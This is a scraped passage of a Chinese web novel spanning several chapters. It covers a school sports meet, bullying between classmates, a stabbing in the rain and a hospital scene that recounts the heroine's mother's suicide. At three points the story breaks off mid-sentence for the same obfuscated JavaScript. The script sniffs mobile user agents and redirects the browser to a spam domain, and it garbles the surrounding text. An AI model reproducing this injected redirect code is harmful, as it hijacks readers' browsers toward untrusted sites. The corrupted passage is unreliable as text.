运动会快要开始了,学生们站起身来到操场中间集合,按照先前排练的位置站好队列,祁缘也因为长的矮站到了前排的位置,令她感到难受的是她后面站的就是张晚媛。 她冲她笑了笑,意味不明。 音乐一响,方阵开场。果不其然张晚媛又开始搞起了小动作,开幕式都不老实,走几步就故意踩她一下。还好祁缘事先把鞋带系紧了些,要不然鞋子说不上掉了几次了。 见踩了这么多脚都踩不掉,张晚媛有些急了,祁缘看她蹬鼻子上脸,趁她下一次伸腿的时候故意抬高,另一只脚踹回来故意绊了她一脚。 张晚媛“啊”了声,一个没站稳,栽倒在草坪上,摔了个大屁墩。崔荣过来扶她,后者疼的龇牙咧嘴,努力了半天都站不起来。 他问她:“怎么这平地还能摔?” 张晚媛挤出两滴眼泪,恶人先告状:“老师,是祁缘绊的我。” 崔荣听完转念一想也明白过来了,祁缘站的她前边,再怎么看不惯她也做不到能绊到她吧? 再说那孩子一看就胆小怕事,尽管她们欺负她她也做不出来这种事,肯定是想绊人家没注意给自己绊倒了。 崔荣也是无语,以为停课这么多天她们也该悔过了,结果还是老样子,一点儿没改。他虽然对她不满,但还是得扶着她去医务室,眼看着他们走远了,祁缘深呼一口气。 总算消停了。 后来又听了会儿校长和几个主任的激情演讲,运动会才算正式开始。 回去的时候宋嶙跟她打听,听完了事情经过后,他给她竖起来 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好巧不巧,正好被崔荣给听到了,他耷拉着脸扭过头来,像个变脸大师,一瞬间乌云密布,电闪雷鸣,样子可怖。 “来,你们三个,过来跟我一起喊。” 他俩喃喃道:“完了完了惹事了。” “不是,崔哥,我没说你啊。” 宋嶙还在低头玩手机,突然被点名,他躺着中枪,也是挺服气的。 “谁让你们三个是一个整体呢?过来。” “那我们绝交了。” “哎?你赶紧给我过来!” 眼看着崔荣就要往这边来了,宋嶙赶忙把手机塞进了袖子里:“知道了知道了,我现在就过去。” 路过祁缘时他把手机塞在她兜里,没塞好,手机露在外面一半,她立马拿胳膊盖住。 好在崔荣没发现,注意力全都集中在他们仨身上。也不知道又从哪整来几个拉花,给他们往手里一塞:“喊吧。” 颜色焦黄,宋嶙两眼一黑,实在有些拿不出手。他有点儿害臊了,跟崔荣商量:“别搞啊崔哥,喊两句就得了你整这拉花我们还咋见人呢?” 崔荣不想听废话:“赶紧的!” 没辙,豁出去了,只能拼一回了。 “加油!高二四加油!” “必拿第一加油!” “班长加油!快点儿跑啊!” 崔荣想的不错,他们三个可是学校红人儿,出了名的淘小子。这会儿被迫在这儿加油助威,别的班学生都望过来忙着凑热闹笑话他们,气势瞬间小了不少。 目的达成,他就躲回后边儿喝茶水了。 祁缘就坐在第一排,看着宋嶙在她面前扭来扭去的,说实话她也有点儿想笑。 在她印象里,宋嶙虽说挺好相处的,但感觉他其实就是个刺儿头。 他不怕事,祁缘记得他帮她讨回公道的那天,还没开骂张晚媛就被他给吓到了,估计她没来之前宋嶙在这一片儿就挺不好惹的。 她在想,要是他今天没带手机,是不是崔荣过去拽他都拽不过来。 估计是这样的。 9. 第 9 章 运动会开两天,今天是第二天。虽然学生们已经没有昨天那么激动了,但只要不上课就还是开心的。 早上没太阳,是阴天,凉风倒灌进身体里凉飕飕的,天气预报说今天会下雨,冯丽让祁缘在书包里装了把伞带着。 结果到了中午非但没下,反而烈阳高照,仿佛又回到了夏天最严热的时候,火毒的太阳,晃的人眼睛生疼。 校长主任都跑屋里待着去了,留下学生们在外边晒着,一个个热的蔫巴巴的。在后面坐着的还好,上面有凉棚挡着,第一排最惨,阳光直射在身上,有点睁不开眼。 但好在有桌子,现在是中场休息时间,为了下午比赛有个好状态,午休时间给到了两个小时,第一排的可以趴在上面睡觉。 祁缘现在就有点儿困,她把外套脱了扣在头上,虽说挡住了太阳,但衣服里边太闷,空气不流通,不一会儿头上就沁出了一层细密的汗珠。 她从里面钻出来,太难受了,干脆不睡了。 宋嶙正抵着额头打游戏,见她一直翻来覆去的不老实,看了眼直射的太阳,也是猜到了个大概。 他唤她:“阿缘。” 她侧头看他:“嗯?” 回答的蛮快的,看样子应该是习惯了。宋嶙轻笑出声:“走啊,咱俩回班。” “干嘛去?” 她不理解,他也不解释,只是招呼她快走。这个时间大家都在外面坐着,她不太敢,但还是一咬牙,乖乖跟着去了。 蒋晗正在跟周围的人聊天,一抬眼就看到两人往教学楼的方向去了。不知道祁缘说了些什么,宋嶙正微微俯着身子在她嘴边听着,时不时还摸摸她的头。 她气愤的跺脚,这俩人怎么看怎么像是谈了。做了一年同学了,以前的宋嶙谁都不理,平时就跟陈子涛和何浩楠混在一起,怎么她一来他就对她这么好? 凳子被她踢到一边,她倒要看看这两个人到底是要去干嘛。 教室里。 宋嶙去前面找了个一次性杯子,拿着往里接了些凉水,然后撕开一张洗脸巾铺在桌上。他往上洒了点水,液体渗漏下去,变成了一张湿纸巾。 “过来。” 祁缘正坐在纸箱上,听他说完,把头探了过去。宋嶙掀起她额前的刘海,小心翼翼的把这些纸巾敷到她脸上。 额头,脸颊,鼻尖,下巴,一处都没落下。 清凉的触感扑面而来,祁缘享受的闭上眼睛,刚才的燥热一瞬间消散的所剩无几了。 宋嶙看她的样子有些好笑,调侃道:“这把你给美的。” 她也浅浅的笑了笑:“是你太聪明啦!” 他蓦地怔住,这是她第一次夸赞他。 好像从他们第一次见面开始,她对他说话就总是客客气气的,挂在嘴边的,常常不是对不起,就是谢谢。 她像是性格有些孤僻,不愿说话,做个自我介绍都要紧张的哆哆嗦嗦。 直到现在彼此熟悉,她才逐渐开始打开自己的内心,像是找到了她真正信任的人,终于愿意把自己的真心剥出来,给他看。 他知道,这很难。 但他做到了。 她看他:“这么热,你不贴吗?” “贴。” 他回过神来,在地上放了本书坐下,然后把洗脸巾又撕了一张,浸泡好,贴在自己的脸上。 宋嶙也无比享受的闭上了眼,这种感受不亚于一个精疲力尽的人在沙漠中走了很久,壶里一滴水都没有了,马上就要油尽灯枯的时候,眼前突然出现了一汪清泉。 炎炎夏日,这么一弄是真的舒服,燥热的心逐渐被抚平,身体里翻涌的血液也跟着慢慢趋于平静。 她有点好奇:“你书包里怎么还有洗脸巾?” “打球出汗,就放了些留着用。” “哦。”她想了想,又说:“要是老师一会儿过来撞见我们在屋里躲着,咱俩会不会挨顿骂啊?” 宋嶙甚至翘起了二郎腿,胳膊垫在脑后:“你放一万个心,咱俩走的时候我看见崔哥刚跟二班老师出校门,没事的。” 脸上的湿纸巾有点回温了,祁缘起来想再往纸巾上倒一点儿水,突然听见门外有脚步声,而且好像越来越近了。 她顺着窗户看过去,是崔荣来了,后面好像还跟着一个,看不太清脸,个头和身形有点像蒋晗。 她一惊,脸上的纸巾掉下来两个,拍了拍宋嶙的胳膊:“老师来了。” 他弯唇一笑,明显不相信:“别逗我了,还能说啥来啥啊?那我还说来财呢。” “后面还跟着蒋晗啊!” “操!”这是被打小报告了,宋嶙瞬间跳起来,让祁缘趴在桌子上,自己拿着她水杯转头去前面接热水。 收拾完一切崔荣刚好进来,看到桌子上趴着的祁缘,问:“她咋了?” 宋嶙表现的一脸担心:“她说她难受,好像是有点儿中暑了。” 崔荣一听,严肃的表情缓和了不少,更多的是担忧,下一秒注意到他手中还冒热气的水杯,皱眉:“中暑你接热水干什么?” “……”完了,他刚才好像说错了,他本来想说发烧的。 “这热水是我喝的,最近有点儿着凉了。” 说完,他装模作样的咳嗽两声。 真是个活宝。崔荣简直要被他给气笑了,穿着个半截袖还要把袖子给撸上去,明明热的不行却硬要说自己着凉。 他问:“咋的,你也有生理期是吗?” 宋嶙:“……” “学校明确规定,运动会除了上厕所不允许学生进教学楼,一个中暑一个着凉,你俩出来,我有办法。” 兜兜转转又回到凉棚里了。崔荣说的这个办法,就是他给了宋嶙一把扇子,让他在旁边给祁缘扇风。 宋嶙无语:“这是什么办法啊?” “好办法,扇到你上场比赛为止。” “……” 崔荣又看向祁缘,她脸红彤彤的看样子可能是真的生病了,他劝说道:“你就别上了,我一会儿看看有没有能替你的,没有的话大不了就弃权吧,也没啥的。” 她“嗯”了声,脸红其实只是天气太热了,再加上宋嶙一直盯着她看她可能有点儿害羞。 不过不用上场,她也就不用丢人了。 自从报名参加后,这几天她都在家里的院子里练习,看了几遍视频教程,结果摆臂摆不明白,跳的大腿根直疼,最好的成绩也才一米五。 也就比她的身高稍微少了那么一点点。 崔荣走后,宋嶙朝她笑:“你命怎么这么好呢?” 她顿住。 命好吗? 前十五年里,她家里每天都在过着鸡飞狗跳的日子,辱骂,挨打,都是家常便饭。后来母亲去世,她在外婆家安生的过了一年,却再也没有发自内心的笑过。 没妈的孩子像根草。 直到这年十七,她遇到了宋嶙。 她第一次知道,原来像她这样孤僻的人,也会有人捡起一地碎片,把破碎的她拼凑完整。 遇见他是她的荣幸。 终于,轮到参加一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957251|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千米项目的过去检录了。 宋嶙把扇子塞给她,祁缘反手抓住他的手,笑起来眼睛弯的像月牙儿。 “你加油哦。” 宋嶙本来寻思象征一下跑完得了,被她这么一鼓励身上像打了鸡血,已经按耐不住要跑个第一给她瞧瞧了。 他也露出两个酒窝来:“你看好了。” “祁缘你就看着吧,有你好看的!” “……”不知怎么的,这话从他们嘴里说出来,越听越像是威胁…… 其实陈子涛和何浩楠这会儿比谁都激动,别看宋嶙平时一天到晚吊儿郎当的,他一身的牛劲儿,经常打球他们不是没见过,认真起来跑的比那些体育生都猛。 要不是去年运动会宋嶙以生病为由躺在家里打了一天游戏,也不至于全班才得一个铜牌。 今年有金牌了。 这可是学校红人,几乎没谁不认识他,上场的都是各班的体育生,全场唯独只有他不是。 宋嶙简单做了个热身,他想赢得漂亮点。 有人调侃问他:“阿嶙有信心没?” “指什么?超过你还是拿第一?” 旁边几个也笑了:“你这也太狂了吧?” 他们这帮体育生每天恨不得长在操场上,苦练了这么久,还能跑不过他一个毛头小子不成? 他弯唇不羁一笑,眼里透露着一股狠劲儿:“少狗叫,看老子秒杀你们。” 裁判见他们嘻嘻笑笑的,冲他们喊了声:“别唠了,马上开始了。” 一切准备就绪,枪声响起,鲜衣怒马的少年们一瞬间像脱缰的野马,“嗖”的一下冲了出去。 按理来说前期应该保存体力,到最后再冲刺。可宋嶙不一样,从开跑的时候速度就一直没减下来过,一瞬间把他们一群人都甩在身后。 崔荣在看台上看的眉头紧锁:“这小子疯了啊?” “哎呀荣嬷嬷你就放心吧,阿嶙这么做肯定有他的道理啊。” 阳光洒落肩头,少年在操场上肆意奔跑着,这一片倒像是他一个人的领地,一路上跑的游刃有余。 额前的碎发迎风吹起,露出他精致的五官,青筋在脖颈上若隐若现,手臂甩着,长腿结结实实踏在地面上,始终保持着一路领先。 “他现在跑这么快,后面是要走下来吗?” “等着吧,他支楞不了多长时间,一会儿就该轮到咱们冲了。” 祁缘一直盯着场上的情况,视线始终在宋嶙身上,她心脏砰砰跳着,暗自替他捏了把汗。 恍惚间,比赛已过了将近大半,跟他们想象中的一点都不一样,宋嶙还是始终保持着冲刺的速度,仿佛有使不完的力气。 甚至……更快了。 被落下的几个人开始慌了,一瞬间卯足了劲儿,也开始冲。 三百米…… 二百米…… 一百米…… 宋嶙一点儿水都不放,全程冲刺冲过了终点。 一瞬间全场沸腾,高二四班的宋嶙,战胜了全场的体育生! “阿嶙!我操,牛逼死了!” 陈子涛和何浩楠激动的手舞足蹈,仿佛刚才冲过终点线的那个人是他们。 有个体育老师惊讶道:“这小子破咱学校记录了啊!” 崔荣激动的眼含热泪:“我以后再也不骂他了……” “……” 宋嶙停下来缓了会儿,然后穿过沸腾的人群看向祁缘,锤了两下胸脯,竖起来个大拇指。 祁缘弯起唇角,她就知道他能做到。 10. 第 10 章 陈子涛还挺幸运,眼看着马上快到他的三千米了,结果突然下起大雨,于是运动会被迫提前结束了。 回班还要带上凳子,就那么两个出口,全校几乎都被浇成了落汤鸡。 祁缘也不例外,顺滑蓬松的长发此刻湿的糊在脸上,她不禁感叹天气预报确实有点儿准的离谱。 陈子涛虽然被浇了个透,那也免不了他一顿臭嘚瑟,非说自己就是天气之子。 宋嶙忍不住瞪他:“狗运。” “这是什么话?你难道忍心看你最好的兄弟战死在操场上吗?” “你咋还不死呢?” “你俩怎么就会骂我?” 斗嘴间,崔荣从办公室领完牌子回来了。跟去年的一个铜牌相比,今年多了两个银牌和一个金牌。 眼镜上都是水,他直接摘了挂衣领上。然后站上讲台一脸骄傲:“我们高二四的孩子真是太有实力了,老师爱你们!” “争光了就爱一下是吧?” “瞎说什么大实话?” 教室后墙有块废旧的大黑板,以前学校来领导检查的时候都要在上面画黑板报来走仪式,如今距离上一次检查已经过去快三个月了,现在上面的图案早就乱了套,已经被他们蹭的不成样子了。 崔荣找了几个同学,指挥他们把黑板擦干净,然后把奖牌摆上。 “崔哥,至于吗?” “至于啊,我们班有金牌了!” 陈子涛听完“哎呦”一声,满脸写着不愿意:“这什么鬼天气啊?本来我也能拿个金牌的,偏偏不给我表现的机会。唉,真的是……” 崔荣见状赶忙安慰他:“你别急,校长刚才说了,等什么时候天气好了再把三千给你们补上。” “啥?”陈子涛差点儿一口气没喘上来:“哪还带这么玩儿的?等那时候我就没手感了。” “你就吹牛逼时候有手感。”宋嶙懒得听了,直接拆穿他。 “你说这话就是嫉妒。” “陈子涛我看你真是想死了。” 外面下雨下的太大了,一直到晚自习结束也没停。还起了风,不知怎么的,从窗户缝里挤进来,声音鬼哭狼嚎的。 校长担心学生自己回家不安全,用广播发了个通知:需要让家长签字来接。祁缘一听,跟崔荣说她自己可以。 崔荣知道她肯定是因为外婆年龄大了才提出自己回去的,眼看着自己手上的表格还有这么多人没签字,他走不开,于是提出让宋嶙送她。 她赶忙摇头,立马拒绝:“我自己可以的,不用他送,早上外婆给我带伞了。” 她就是看宋嶙去厕所了才来找崔荣说的,他本来也提出要送她回去,可现在已经十点多了,要是送她的话他回家都不知道要什么时候了。 崔荣拗不过她,只好放她走了,临走前叮嘱了她好几遍要注意安全。 “我知道了老师。” 话音刚落,祁缘撑起雨伞,冲进了大雨里。 蒋晗注意到这边的动静,她家里也只有一个年迈的爷爷,前段时间刚得了脑梗,有一条腿不太好使。崔荣刚打完电话,按照他那个速度来学校估计要将近一个小时。 她心一横,趁着崔荣不注意,也冲进了大雨里。和祁缘不一样的是,她没有伞。 班上的学生大多数家里都有车,不一会儿的功夫,困在班里的人越来越少。崔荣突然感觉好像有点不对劲,看了眼表格,又数了数剩下的学生。 他反应过来,蒋晗去哪了? 有人往外看了眼,告诉他:“崔哥,蒋晗应该是走了,我那阵看她急匆匆的往外跑我还以为她是去厕所了,结果一直没回来,应该是回家了。” “回家?” 她不是让他给她爷爷打电话让来接她的吗?怎么自己跑回去了? 崔荣突然想到了什么,又问:“祁缘走多久她走的?” “大概五分钟吧。” 这时陈子涛和何浩楠嘻嘻闹闹的回来了,崔荣往他俩身后看了眼,问:“宋嶙呢?” “我在这呢崔哥,”宋嶙四处望着,自言自语道:“阿缘呢?不是说好了在这儿等我的吗?” 崔荣拽住他,语气挺着急:“你回来的正好,我现在走不开,祁缘已经走了半天了,结果不一会儿蒋晗也自己偷摸跑了,她俩家离得近,前段时间蒋晗还收拾她来着所以我现在有点儿放心不下……” 他一股脑儿的说完这一大堆,没忍住咳嗽两声,刚想继续说,掌心一空。 宋嶙跑进雨里,转眼间就没了影儿。 …… 豆大的雨珠拍打在伞面上,砸的雨伞噼里啪啦响。风也不小,一直把伞往歪了吹,祁缘没辙,怕把伞弄坏了索性直接收了。 下午淋的雨还没干,就又添了波新的。 回家可要好好洗个澡了,她想着。 风是冲着她来的,道是土道,被大雨泡的这条路特别难走,一步一个泥脚印,脚踩在上面直打滑。 这种天气她也顾不上鞋子干不干净了,不摔跤就不错了,她快步走着,只想赶紧到家。 下一秒身后被人突然一拽。 祁缘被吓了一跳,一个没站稳倒在了泥里。从她这个视角来看,蒋晗像是索命的鬼,正居高临下的看着她,脸上没有一点儿表情。 祁缘挣扎着想从泥里站起来,却被她踩在脚下,没了受力点,只能一次又一次的栽回去。 蒋晗就喜欢看她一脸狼狈的样子,她觉得她的清纯都是装的,越看越像个婊子。 见她没力气了像狗一样趴在地上喘气,她才终于扬起一个笑,慢慢蹲下,笑的越来越可怖。 她钳住她的下巴,力道逐渐收紧。 “你很喜欢宋嶙吗?” 祁缘一愣,原来她欺负她,是有迹可循的。 她不说话,就一个劲儿挣扎,蒋晗越看越不爽,抬手打了她一巴掌。 见她不动了,她又继续说:“知道张晚媛为什么针对你吗?” “因为我,我故意把她们的书放在下面,故意演了那么一出戏,怎么样?是不是效果很好啊?” 祁缘咬着牙,嘴里含着一股血味儿。蒋晗她就是个彻头彻尾的疯子,她喜欢一个人竟然可以这么不择手段,不知廉耻。 见她还不说话,她心里突然就窝了一股火。 “怎么办?我现在甚至都不想看到你了,要不你今天就了结在这儿吧?这风雨交加的,突发状况不是很多吗?” 蒋晗说完怒目圆睁,满眼是恨,就像是一条饿了很久早已经饥肠辘辘的狼,而她恰好就是她刚捕捉到的猎物。 留在世上碍眼,她想亲手了结她。 祁缘抓着地面,指尖发白。安静了两秒,她突然低吼一声,憋了一股劲儿挣扎着起身,下一秒死死掐住蒋晗的脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957252|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 为什么欺负她?不就是看她太懦弱了,觉得她好欺负才敢这么猖狂吗?如果她是张晚媛,她还会像现在这样肆无忌惮吗? 不会。 像她这样的人,只敢把弱者踩在脚下,只有这样她才会从中找到那么一点儿优越感,然后坚信自己就是站在金字塔顶端的人。 眼看着蒋晗被掐的面色发紫,祁缘这才回过神来,她松了手,她不想杀人。 可这样就给了蒋晗反击的机会,既然她下不了那个狠心,那她就给她打个样子。 她从兜里拿出一把小刀。 仅有的一点月光洒落在上面,刀刃散发着冷峻的光,祁缘被吓出了一身冷汗,挣扎着往后退。 “我都这么欺负你了还心软,如果是别人的话我应该挺感动的,但你,我不领情。” 蒋晗自言自语喃喃着,像是精神失常的疯子,举着刀,对着她的脸。 “你说你的脸要是被我刮的血肉模糊,他还会对你这么好吗?” “肯定不会了啊!谁还会喜欢你这种又丑又恶心的女的?” 她自问自答,然后笑起来,她已经能想象到宋嶙看她是多么恶心的表情了。 “疯子……”祁缘哆嗦着转身开始狂跑,可道路太泥泞,没多远就被蒋晗抓住了。她使劲挣扎,直到刀刃深深刺入她的腹部。 蒋晗比她高不少,就低垂着脑袋静静观察她是什么反应。祁缘安静下来,剧烈的疼痛使她站都站不稳,她扑通一声摔倒在地,感受着腹部流淌出来的暖流。 “好疼……” 她有气无力地躺在地上,蒋晗也蹲下来,脸上毫无悔改之意,还在笑。 “这下知道疼了?如果你一开始就不反击的话我还可能饶你一命,是你啊!是你激怒我的啊!!” “现在你跑不了了吧?那我就可以安心地在你脸上作画了……” 接下来她又把刀尖对准她的眼睛,刚要下手,宋嶙跑过来一脚踢飞她手上的刀,然后用力把她推到一边。 “阿缘!” 蒋晗摔在泥里,脸上的妆也早已经被雨水冲花,坐在那里像个女鬼一样看着宋嶙。 “宋嶙,你……” 然而宋嶙一个眼色都没给她,只是伸手把祁缘抱在怀里,擦掉她腹部上的鲜血,然后把手捂在她的伤口上。 只是,他怎么捂也捂不住,鲜血还是不停的往外翻涌,流淌在身下,然后很快又被雨水冲走了。 “阿缘,清醒一点……我……我送你去医院……” 说完他颤颤巍巍想抱着她起身,可怀里那人意识模糊,怎么也抓不住他。 蒋晗在远处看见他俩抱在一起,感觉好刺眼。她崩溃了,摸索着地上的小刀,杀人的爽感再次涌上心头。 不一样的是,这次她朝着宋嶙刺了过去。 “阿嶙!” 好在陈子涛和何浩楠赶了过来,一个飞奔过去制止住蒋晗,另一个拿出手机报警和叫救护车。 “你挺住,等一下救护车就来了,你得挺住你听见没有……” 祁缘半睁着眼,过了半天,动了动嘴唇。 “我……给你……添……添……麻烦……了……” “没有,你说什么傻话呢?会没事的,别瞎想知不知道啊?!” 她闭上眼不说话了,手垂在地上。脸上流着的,不知是雨水还是泪水。 11. 第 11 章 医院的走廊里,苍白的灯光笼罩在地面上,空气中散发着浓烈的消毒水气味儿,抢救室外正回荡着家属的哭喊声。 冯丽坐在椅子上埋头痛哭,刚才祁缘躺在医疗床上被好几个护士急匆匆地送进抢救室时的场景历历在目。衣服上、床单上,她所到之处都挂满了血渍,冯丽无法想象自己的外孙女当时究竟有多疼,又该有多么绝望。 过了一会儿蒋晗的爷爷赶来了,老太太心中怒火中烧,她踉跄着站起身,宋嶙在一旁扶着她。 “你这个死老头子!你是怎么教育你家孩子的呀?心怎么这么狠呢?这么小就敢拿刀捅人吗?!” 他心中也满是悔恨,磕磕巴巴的说:“真是对不起你家祁缘了,你说蒋晗这孩子在家也挺老实的,我也没想到,她怎么就能干出这种事呢?我给她爸妈打过电话了,他们已经买完票在往回赶了。” “对不起有什么用?能让我外孙女好起来吗?我现在多想刚才进去的是你家蒋晗!” 这时祁缘的外公殷鹏也赶回来了,一进来就看到冯丽情绪激动正对着蒋晗爷爷大喊大叫,她拍着胸脯,有点儿呼吸困难。殷鹏连忙跑过去,和宋嶙一起慢慢地把她扶到椅子上坐下。 冯丽两眼泪花扑在殷鹏怀里,哭的上气不接下气:“你说咱外孙女怎么就这么命苦呢?” “别哭了老婆子,你再哭出事儿来让我这老头子咋活啊?等一会儿看看大夫怎么说吧,我相信咱家阿缘不会有事的。” 殷鹏劝说道,下一秒看向宋嶙:“你是……” “我是祁缘的同学,外公您好,我叫宋嶙。” “对对,就是这小伙子救下来的阿缘,要不然指不定都被摧残成啥样儿了,”冯丽四处张望一番,没找到:“那两个孩子呢?” “我让他们先回家了,人太多也不好。” 冯丽这才反应过来,催促道:“孩子你也先回去吧,你能送我们阿缘来医院我们已经很感激了,现在都半夜了,你快回去睡觉吧。” 宋嶙摇头:“不用,我也在这守着。” “那你家里人多担心啊?” “我刚跟我爸通过电话了,他听完也让我留在这儿,还说一会儿他也要来看看阿缘。” 殷鹏也不推脱了,毕竟他们岁数大了在医院也整不明白,叹了口气:“唉,真是麻烦你们了。” “你们说的这是什么话?应该的。” 谈话间,抢救室的门被拉来,有个护士走出来,手里拿着文件夹。 她冲他们喊:“你们谁是病人家属?” “我是!我是!” 冯丽踉踉跄跄的跑到护士身边,拉着她的胳膊,焦急地说:“护士,我外孙女怎么样了?她还好吗?” “幸好刀刺入的地方离大血管有点距离,经过救治病人的情况已经基本稳定下来了,后续需要住院一段时间,你们家属先准备一下吧。” “好好好,谢谢大夫!谢谢大夫!” 听到祁缘已经脱离生命危险了,众人悬着的心才终于平稳下来。 过了一会儿,祁缘被几个护士从抢救室里推了出来,她平静地躺在床上,脸上带着氧气面罩,面色惨白毫无血色。 “她的情况挺严重的,要先在ICU待两天观察观察,家属先去前面缴纳一下费用吧。” “好好,我这就去。” 殷鹏去前台交费了,冯丽摸了摸祁缘冰凉的手心,心疼的落下泪来。 宋健赶到医院时已经是一个小时后了。 应该是跑步来着,他累的气喘吁吁的:“今天下雨有个大车撞护栏上了,堵车堵了这么久,要不然早到了。” 冯丽把刚在超市买回来的矿泉水递给他一瓶,道:“唉,这麻烦完你家孩子又让你过来跑一趟,实在是不好意思了。” “这有啥的,祁缘这孩子挺好的呢,我来看看也是应该的。” “你见过我们家阿缘啊?” “见过,就上次……” “上次我爸去学校看我,祁缘和我是同桌,然后就认识了。” 宋嶙抢先一步说道,他们二老经历了这一场子事已经够受的了,不能再让他们知道先前她在学校被欺负的事,这应该也会是祁缘的意愿吧。 冯丽点点头:“这样啊……” “我们家阿缘以前的性格确实挺好的,是自从她妈去世之后她才这么蔫巴的。” 空气安静了两秒,宋健缓缓开口:“阿姨,方便讲讲吗?” “唉,这都是孽啊……” 据冯丽所说,祁缘的爸爸妈妈是和朋友一起吃饭介绍认识的。 祁缘的妈妈殷曼,生得一副好皮囊,总有人捧着花堵在她家门口向她告白。但她没有喜欢的,于是就都拒绝了。 偶然的一次,她和朋友出去聚会,在饭局上认识了祁建强,也就是祁缘的爸爸。 他长的还算可以,但这人比较花言巧语,很懂得怎么拿捏一个女孩儿的心。殷曼那时候正值青春年华,就是被他的表象所迷惑,于是把他领回家来吃了一顿饭,顺便跟她父母聊了聊。 在聊天过程中冯丽和殷鹏都觉得他这个人有问题,说话夸大其词,还特别容易激动,很自大,不懂得脚踏实地,就明确表示不同意他们两个在一起。 他们也劝说了殷曼好久,可根本无济于事。她那时候就死心眼,一心扑在他身上,甚至后来想到用自己的行动告诉他们她的眼光不会错,于是选择在一个夜里跟祁建强私奔了。 年轻时候的殷鹏脾气暴躁,在发现殷曼跑了之后给她发信息,放狠话告诉她既然跑了就永远也不要回来了。 殷曼的脾气算是完完全全的随了他,倔的很,真就从此杳无音信,再也没回来。 后来再得到殷曼的消息,是警方打来的,他们说她在昨天夜里喝农药自杀了。 殷曼从小就有写日记的习惯,小时候写在本子上,长大了有手机了就写在备忘录里。 当她的手机再次回到他们手上时,打开备忘录的那一刻他们抱头痛哭,原来她这些年过的一点也不好: 祁建强曾经给他画饼,说要让她成为最幸福的女人,要赚好多好多的钱给她花。 可能他那时候真是这样想的吧,幻想着给殷曼一个美好的未来。整天无所事事的人终于下定决心进了工地,她满心期待,以为他们的生活终于向着正轨出发,结果祁建强只干了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957253|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一个礼拜就回来了。 原因也很简单,就因为和他一起出去吃饭的工友中了一张彩票,他嫉妒。 只见那人安全帽一摘,笑的憨厚:“这下不用拼死拼活了,有钱了老婆孩子也能享享福了。” 有同事真心替他高兴:“行,这就是好人有好报,赶明个要是投资点啥生意可别忘了拉老弟一把啊!” “一定,一定。” 也有人摸清祁建强的脾气,在一旁煽风点火:“老祁,你俩一起去的你咋没中?” 祁建强这个人本来就见不得别人好,恰巧又是身边人中奖,他只能尴尬地笑笑,背地里眼红的不行,第二天就直接收拾行李回家了。 他不信这个邪,要说有财运那他去年过年打牌还赢了三千呢,于是他也尝试着买彩票,打双色球,结果赔的血本无归。 眼看着家里的钱都砸进去打水漂了,这下祁建强放弃了,觉得这钱还是拿去抽烟喝酒更值当一些。 他可以随便败活,但别人不行。当时的祁缘已经十多岁了,就捡邻居家孩子的衣服穿,只要殷曼在她和女儿的身上花钱,祁建强就把家里砸个稀巴烂。 有个差劲的爸爸,但幸好她还有个爱她的妈妈。尽管她在家里低声下气的,学校里也还是有两个玩的很好的玩伴。就是不知道老天是不是偏要和她作对,殷曼最终还是丢下她,选择了自杀。 祁缘悲痛欲绝,她从没想过自己的妈妈会以这样的方式离开。葬礼举办的挺潦草,钱是老两口出的。而殷曼曾经那么爱他,她的葬礼祁建强却没舍得往出拿一分钱。 还剩个小崽子,祁建强懒得管,嫌烦,索性直接把她也扔给了他们。 祁缘从出生开始就没见过除了爸妈以外的亲人,突然来了个新环境,妈妈和同学又都不在她身边,她的性格就是从那个时候开始逐渐走下坡路的。 “看我女儿那个日记写的,阿缘以前虽然过的不太好,但是与人和善,内心强大。我虽然代替不了她妈妈,但却连外婆的责任也没尽到,反倒让孩子为我着想…… “阿缘跟着我受苦了,我对不起她妈妈……” 冯丽现在眼里已经没有泪水了,她沉浸在自责的世界里,眼神空洞洞的,不知道在看哪儿。前不久刚失去女儿,又差点儿失去了外孙女,这一件件事对她的打击不小,才多大一会儿,嘴上就起了两个圆滚滚的水泡。 宋嶙在旁边一言不发,听完只觉得心疼,他没想到祁缘的童年竟然是这样的。以前只听她说自己有个混蛋老爸,却没想到居然有这么混蛋。 宋健也是个感性的人,眼泪在眼眶里打着转儿。想当初他和自己的妻子心心念念想要个女儿,他们想拥有都没机会,而有些人却这样糟蹋自己的孩子。 不,根本就称不上是个人。 他沉着声开口:“以后小缘要是有什么困难就跟我说吧,我一定尽我所能,这孩子实在是太可怜了。” 冯丽摇摇头,婉拒了,笑了笑说:“其实我们阿缘还是挺有福气的,看到有人真心对她,我就挺开心的了。” 话音刚落,宋嶙哑着嗓子接过话茬:“有没有福气我不知道,我只知道别人对她好是因为她值得。” 12. 第 12 章 